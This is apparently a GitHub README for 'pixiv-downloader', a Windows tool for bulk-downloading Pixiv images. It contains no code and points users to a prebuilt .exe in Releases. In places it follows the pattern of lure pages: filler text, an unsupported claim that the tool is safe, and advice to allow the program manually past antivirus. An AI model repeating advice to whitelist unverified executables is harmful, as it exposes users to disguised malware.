🖼️ pixiv-downloader - Easy Multi-Threaded Pixiv Image Downloading

📋 What is pixiv-downloader?

pixiv-downloader is a simple tool that helps you download images from Pixiv. It uses multiple threads to speed up downloads. You can save full images directly or use image URLs. The tool also supports proxy pools to manage network connections better. This helps if you face limits or blocks while downloading.

You do not need to know programming to use it. The instructions below guide you through downloading and running it on Windows.

💻 System Requirements

• Windows 10 or newer
• At least 4 GB of free disk space (depending on how many images you download)
• Internet connection
• Basic use of a web browser and file explorer

No extra software is needed if you follow the download and setup steps below.

🚀 Getting Started

This section helps you download, install, and run pixiv-downloader on your Windows computer.

Step 1: Download pixiv-downloader

You need to visit the official GitHub page to get the latest version.

Click the large green button below or visit the same link:

On the GitHub page:

• Look for a section called Releases or Assets
• Find the Windows version of the program. This might be an .exe file or a zip folder named something like pixiv-downloader-win.zip
• Download that file or folder to your computer

Step 2: Install pixiv-downloader

If you downloaded an .exe file:

• Find it in your Downloads folder
• Double-click it to start the installation
• Follow simple instructions on screen
• Choose the folder where you want to install if asked
• Wait until the setup finishes

If you downloaded a zip folder:

• Right-click the zip file
• Choose Extract All or use a program like WinRAR to unpack
• Pick a folder on your computer to extract the files
• Open the extracted folder

Step 3: Run pixiv-downloader

To open the program:

• If installed, find pixiv-downloader in the Start menu and click it
• If using extracted files, find pixiv-downloader.exe in the folder and double-click it

The program window will open, ready for input.

🛠️ How to Use pixiv-downloader

You do not need special skills. Follow these simple steps:

1. Enter the Pixiv image URL or a list of URLs. You can copy and paste from your browser.
2. Set the number of threads. This controls how many images the program downloads at once. The default is usually good, but you can increase it if you want faster downloads.
3. Choose a proxy if needed. This helps if you experience slow connections or get blocked. You can skip this step if not familiar with proxies.
4. Select a folder where images will save. Use the browse button to pick a clear location on your computer, like your Pictures folder.
5. Click the start button. The program will begin downloading images. You can watch progress in the window.

⚙️ Settings and Options

pixiv-downloader has some useful settings:

• Multi-threading: Choose how many downloads happen at once.
• Proxy pool: Manage proxy servers automatically to avoid Pixiv limits.
• Output folder: Pick where your images are saved by default.
• Download limits: Set the maximum number of images per session.
• Retries: Program tries again if a download fails due to connection issues.

🔧 Troubleshooting

If pixiv-downloader does not work as expected, try these tips:

• Check your internet connection.
• Confirm you copied the URL correctly.
• Ensure Windows Defender or antivirus is not blocking the program. You may need to allow it manually.
• Restart the program or your computer and try again.
• Try lowering the thread count if downloads freeze.
• Close other heavy internet-using programs during downloads.

📁 Where Are Images Saved?

By default, pixiv-downloader saves pictures to your chosen folder during setup. If you forget where this is:

• Open the program
• Look in the settings for the output folder path
• Use the file explorer to open that folder

You will find downloaded images arranged by their Pixiv ids or date.

📥 Download pixiv-downloader Now

To get started, visit the GitHub page here:

https://github.com/Fardin187/pixiv-downloader

Click Releases to find the latest Windows files. Download and follow these steps to install and run the program on your PC.

❓ Frequently Asked Questions

Q: Do I need a Pixiv account?
A: No. You can download images as long as they are publicly available.

Q: Can I download multiple images at the same time?
A: Yes, multi-threading lets you do that.

Q: What if a download fails?
A: pixiv-downloader retries automatically several times.

Q: Is this safe to use?
A: Yes, it only downloads images you are allowed to see on Pixiv.

Q: Can I pause or stop downloads?
A: Depending on the version, you may have buttons to pause or cancel ongoing downloads.

📖 Additional Help

If you get stuck, you can check the GitHub page for:

• Issues
• Community questions
• Updates or bug fixes

These can provide extra support if needed.